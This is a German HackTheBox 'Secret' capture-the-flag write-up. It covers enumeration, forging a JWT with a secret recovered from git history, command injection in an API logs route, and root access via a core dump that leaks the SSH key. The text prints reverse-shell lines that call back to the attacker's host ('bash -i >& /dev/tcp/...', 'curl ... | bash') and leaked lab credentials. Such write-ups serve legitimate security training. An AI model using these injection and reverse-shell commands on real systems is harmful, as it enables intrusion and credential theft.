> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Secret HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Secret mit Abdeckung von Codeanalyse, Missbrauch einer API, JSON Web Tokens (JWT), Missbrauch/Nutzung eines Core Dumps (Privilegieneskalation), mit praktischer Enumeration, Ausnutzung

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Codeanalyse
* Eine API missbrauchen
* JSON-Web-Tokens (JWT)
* Core Dump missbrauchen/nutzen (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd4e2b78466fcdf4fb6f40d9cdf56c7de8dcae3%2Fimage%20(1227).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-047ce1756feea3edd207579d7b750282b349bb63%2Fimage%20(1228).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-155985026a055b00690d8d1cd0352aeeb9fca76b%2Fimage%20(1229).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (80,22,3000)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3523dbc1098289102682e9d2662d7b329f6d1f7%2Fimage%20(1230).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cb3fdb7a63b052f95d534675b38a975ecb112a9%2Fimage%20(1231).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dbf862e3115013d9bd26dc9533eede67dff3e79%2Fimage%20(1232).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Beobachtung**: Dieselbe Website ist auf den Ports 80 und 3000 erreichbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fc41e081ef1d518653a6c6af3816e02b9a8db87%2Fimage%20(1233).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e50844350542706c82961cfcf5333f24a7a61a7%2Fimage%20(1234).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche:**

Wir verwenden Gobuster, um nach Verzeichnissen auf der Website zu suchen:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18f3d28b8a2d2168df12e899978b7de3c333290%2Fimage%20(1235).png?alt=media" alt=""><figcaption></figcaption></figure>

## Einen API-Benutzer registrieren

Im Abschnitt „docs“ finden wir Anweisungen zur Registrierung eines Benutzers. Beispiel für den Benutzer „jordan“:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6999a733198c49e2f186337ebeb3e32bac2a498f%2Fimage%20(1236).png?alt=media" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb87de94020b09a7e2d68b4730645d863d4daaf%2Fimage%20(1237).png?alt=media" alt=""><figcaption></figcaption></figure>

## Authentifizierungs-API

Zum Verbinden:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Dies gibt uns ein Authentifizierungstoken zurück (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dee59df160c352f60877a307b5a631bde4dbcf7%2Fimage%20(1239).png?alt=media" alt=""><figcaption></figcaption></figure>

### Prüfen des standardmäßigen JSON-Body

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-460acdc7529996460a2558eec0b5775a3a17e3cc%2Fimage%20(1240).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd1f12b1db1c5e22562aa43126373bef167b0517%2Fimage%20(1241).png?alt=media" alt=""><figcaption></figcaption></figure>

### Prüfung der Schwachstelle [JSON Web Token](/de/web-vulnerabilities/json-web-token-jwt-attack.md)

Verwenden Sie eine Website, um das JWT zu dekodieren und seinen Inhalt zu lesen und zu manipulieren.

> **Hinweis**: Das JWT-Token sollte ungültig sein. Durch Ändern der Felder "name" und "email" auf die eines Administrators:

{% embed url="<https://jwt.io/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a0bd7710d4e5028359c2f27021def852a0bfccd%2Fimage%20(1242).png?alt=media" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bc07b75cee5ed7d00e5a2fdefb496593e863a44%2Fimage%20(1243).png?alt=media" alt=""><figcaption></figcaption></figure>

### Versuch, auf eine private API zuzugreifen:

Versuch, mit dem modifizierten JWT eine Verbindung zu einer privaten API herzustellen:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Wir erhalten die Meldung „ungültiges Token“.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62b1014544bb6d35497ccce4f3738825506ccf2d%2F%7B1D99F76B-6CBA-48D0-80E0-5D74C6B26617%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Mit unserem eigenen JWT haben wir als normaler Benutzer Zugriff:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Wir erhalten die Meldung „Sie sind ein normaler Benutzer“.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ee86ebb9b3ac55f4bac96128af2fe787281136%2Fimage%20(1245).png?alt=media" alt=""><figcaption></figcaption></figure>

## Aufzählung der API-Routen mit Wfuzz

Verwenden Sie Wfuzz, um verfügbare Routen zu erkunden:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Neue Entdeckung: die `/api/logs` Route.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-710b0292ebaeebe591b7ac5be43e13a11522fed7%2Fimage%20(1246).png?alt=media" alt=""><figcaption></figcaption></figure>

## Quellcodeanalyse

Die Webseite bietet eine Option zum Herunterladen des Quellcodes.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-136cbad5c33925608408c582eaa862567264b6ef%2F%7BAA2DE895-8736-431D-9366-232BCBCEA8FC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **Funde** :

* A `.env` Datei, die einen `token_secret` mit dem Wert „secret“ enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5248aaa9430223b0e6e6edf2f999ba23e6d96f95%2Fimage%20(1248).png?alt=media" alt=""><figcaption></figcaption></figure>

A `.git` Ordner mit einem Commit, der das Löschen der Datei anzeigt `.env`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca75d6ad90c3840b33537c3a1629dc2f4a1a289%2Fimage%20(1250).png?alt=media" alt=""><figcaption></figcaption></figure>

Das alte gelöschte `token_secret` wird gefunden:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3728fb1de3ce7f8b8270fd1f26c1804bee366d65%2Fimage%20(1251).png?alt=media" alt=""><figcaption></figcaption></figure>

Verwenden Sie dieses alte `token_secret` um ein JWT mit Administratorinformationen zu signieren und auf die private API zuzugreifen:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937e371d7774480edd032f1d078f7502ce830b2%2Fimage%20(1252).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Ergebnis**: Begrüßungsnachricht als Admin: „welcome back admin“.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbc0c88782d301687c4ec1b9602705e60e0b7feb%2Fimage%20(1253).png?alt=media" alt=""><figcaption></figcaption></figure>

Schließlich wird beim Ausführen der `/api/logs` Route folgender Inhalt angezeigt:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf8b0deee726a0fc7dff6e7f34a2032b99018661%2Fimage%20(1254).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Untersuchen der `privitate.js` Datei und Analyse des Codes sehen wir:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a3bf30a7f451aa9db6d2034ea845a91e796b8eb%2Fimage%20(2313).png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle:

{% hint style="info" %}
Dieser Code hat aufgrund von Command Injection ein Sicherheitsproblem. Weil `Datei` aus den Query-Parametern stammt und direkt in den Terminalbefehl eingefügt wird, könnte ein böswilliger Benutzer `Datei` ändern, um andere Befehle auszuführen. Die Funktion dieser Route besteht darin, den `git log --oneline [file]` Befehl auf dem System auszuführen, wobei `[file]` eine bestimmte Datei ist, die im Query-Parameter der Anfrage angefordert wird.
{% endhint %}

Hier ist ein Beispiel `curl` Befehl, der versucht, `ID`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-848c8851ffee223da314c8e04bea2bc7c3075da4%2Fimage%20(2315).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir werden eine Reverse Shell ausführen:

1. Erstellen Sie eine `index.html` Datei auf unserem Rechner und erstellen einen Webserver mit folgendem Inhalt:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Als Nächstes lauschen wir auf Port 4444:

```bash
nc -nlvp 4444
```

Führen Sie eine Injection mit `curl` auf unserem Webserver aus:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cedfe8dd904f6ed70b485c5644858e68e23b1cd%2Fimage%20(2316).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f7d841d17170976d770ce6d662cc4d4ce81878e%2Fimage%20(2317).png?alt=media" alt=""><figcaption></figcaption></figure>

**Terminalbehandlung:**/ Sobald Sie Zugriff auf den Linux-Server haben, sind hier die Befehle für eine effiziente Arbeit im Terminal:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisieren Sie die Shell für komfortableres Arbeiten. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilegieneskalation (SUID)

Mit folgendem Befehl prüfen wir, ob unser Benutzer **SUID-Privilegien hat**:

```bash
find / -perm -4000 2>/dev/null
```

Wir finden eine seltene Datei unter `/opt/count`, deren Besitzer `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Ausführen dieses Binaries fordert es uns auf, eine Datei anzugeben, dann listet es die Gesamtzahl der Zeichen, Wörter und Zeilen auf. Dieses Skript liest den Inhalt der Datei und zeigt dann ihre Eigenschaften an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Core-Dump-Binary

Durch Untersuchen des Quellcodes können wir beobachten, dass ein Core-Dump erzeugt wird, der den Inhalt im Fehlerfall vorübergehend speichert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

Fehler werden im Verzeichnis `/var/crash` gespeichert. So erstellen Sie einen Core-Dump:

1. **Geben Sie den Namen der Datei oder des Verzeichnisses ein:**

   ```bash
   Geben Sie den Namen der Quelldatei / des Quellverzeichnisses ein: /root/.ssh/id_rsa
   ```

*(SSH-Root-Schlüssel)* 2. **Ergebnisse in einer Datei speichern?**

````
```css
Ergebnisse in einer Datei speichern? [y/N]: ^Z
```
````

*(In den Hintergrund legen)* 3. **Ermitteln Sie die PID:**

````
```bash
ps
```

_(PID kopieren)_
````

4\. **Prozess beenden:**

````
```bash
kill -BUS 'PID'
```
````

5\. **Das Binary erneut ausführen:**

````
```bash
fg
```
````

6\. **Verzeichnis der Core-Dumps prüfen:**

````
```bash
ls -l /var/crash
```
````

*(Eine neue Datei erscheint: `_opt_count.1000.crash`)*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben nun einen Base64-Core-Dump, der den SSH-Schlüssel von root enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### Apport-Entpacken

Um die Informationen zu extrahieren, verwenden wir `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Als Nächstes listen wir den Inhalt der Datei in `/tmp/ssh/coredump` mit `strings`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden den SSH-Root-Schlüssel

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH-Verbindung

Sobald wir die `id_rsa` Datei mit Berechtigungen 600 erstellt haben, können wir uns per SSH verbinden:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b0bd425f0094928274c7144d40640cdfd95213%2Fimage%20(2326).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47355d0513a62affc5955fb6bca8127b2f6ad8bf%2Fimage%20(2327).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca601e7672ecb82415ddabe5640db523984d781%2F%7B7BF63289-F544-42DA-953D-EDB41888B53C%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
